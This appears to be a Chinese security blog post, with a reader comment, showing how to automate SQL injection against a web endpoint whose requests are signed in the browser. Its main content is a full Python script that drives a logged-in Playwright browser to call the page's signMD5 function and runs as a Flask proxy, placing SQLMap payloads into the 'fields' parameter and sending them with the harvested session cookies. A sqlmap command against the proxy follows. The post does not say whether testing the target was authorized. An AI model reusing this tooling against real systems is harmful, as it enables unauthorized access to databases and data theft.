今天遇到一个存在SQL注入漏洞的系统。

通过手动修改参数值后确认漏洞确实存在,但是这么明显的注入漏洞,不可能留到现在等我发现啊,但是转头看他的请求包:

emmmm……这八成是要写tamper了。
在对整个请求流程一步一步分析后发现,数据包在请求前都会被一个加密/签名函数统一处理,该函数的处理过程如下图所示:
实现路径选择
由于加密流程过于复杂,且由于_timestamp参数不允许重放、加密过程中大量调用Cookie等浏览器独占API等原因,遂放弃使用其他语言重写该加密函数,这时摆在面前的有两条路:
- 写tamper对接浏览器爬虫,爬虫脚本不负责请求后端,仅监听API接口透过driver调用浏览器中的加密函数,并将加密结果返回至SQLMap。
- 编写浏览器爬虫,监听API接口做为透明代理,将SQLMap发来的Payload植入到注入点,透过driver调用浏览器中的加密函数,直接在脚本内发起请求并将请求结果返回至SQLMap。
考虑到第一种方法调试较为困难,最终采取了第二种方法作为实现路径。
最近刚好在编写一个基于playwright的浏览器爬虫,正好可以将部分代码复用。
脚本编写
由于漏洞接口需要身份认证,需要模拟输入用户信息、并点击登录按钮
from playwright.sync_api import sync_playwright
page = None
context = None
def initPage():
global page, context
p = sync_playwright().start()
browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式
context = browser.new_context()
page = browser.new_page()
page.goto(
'<loginPage>')
page.fill("#username", '<username>')
page.fill("#password", '<password>')
page.click('.Btn_Submit')
page.wait_for_load_state()
page.goto('<vul_page>')
initPage()编写加密函数调用与代理接口
@server.route('/', methods=['get', 'post'])
def encrypt():
global page, context, cookies
payload = request.values.get('payload')
fullPayload = {
"_method": "component.getListData",
"_param": {
"bizObj": "xx",
"service": "selectMore",
"fields": "DZ,%s" % payload, #注入点1
"filter": "1=1 ", # 注入点2
"currentPageIndex": 1,
"pageSize": 1,
"orderList": [],
"QueryFormData": ""
}
}
computeResult = page.evaluate(
'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})
if cookies == '':
allcookies = page.context.cookies()
for i in range(0, len(allcookies) - 1):
cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])
resp = requests.post('<vul_url>', computeResult, headers={
'Cookie': cookies,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})
return resp.content之所以使用注入点1而不是2的原因是因为注入点2为布尔注入,效率较低,遂使用注入点1中的查询参数注入。
完整脚本如下
#!/usr/bin/env python
from playwright.sync_api import sync_playwright
import flask
import json
from flask import request
import requests
page = None
context = None
server = flask.Flask(__name__)
cookies = ''
@server.route('/', methods=['get', 'post'])
def encrypt():
global page, context, cookies
payload = request.values.get('payload')
fullPayload = {
"_method": "component.getListData",
"_param": {
"bizObj": "xx",
"service": "selectMore",
"fields": "DZ,%s" % payload,
"filter": "1=1 ",
"currentPageIndex": 1,
"pageSize": 1,
"orderList": [],
"QueryFormData": ""
}
}
computeResult = page.evaluate(
'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})
if cookies == '':
allcookies = page.context.cookies()
for i in range(0, len(allcookies) - 1):
cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])
resp = requests.post('<vul_url>', computeResult, headers={
'Cookie': cookies,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})
return resp.content
def initPage():
global page, context
p = sync_playwright().start()
browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式
context = browser.new_context()
page = browser.new_page()
page.goto(
'<loginPage>')
page.fill("#username", '<username>')
page.fill("#password", '<password>')
page.click('.Btn_Submit')
page.wait_for_load_state()
page.goto('<vul_page>')
if __name__ == '__main__':
initPage()
from gevent import monkey
monkey.patch_all()
server.run(debug=False, port=18888, host='0.0.0.0')最终实现效果
在浏览器测试可以正常注入后,祭出SQLMap
# sqlmap -u "http://127.0.0.1:18889/?payload=" --level 3

你好师傅,这个加解密是怎么被调用的呢
通过playwright的api来调用js中的signMD5函数实现的加密,响应是明文的不需要解密。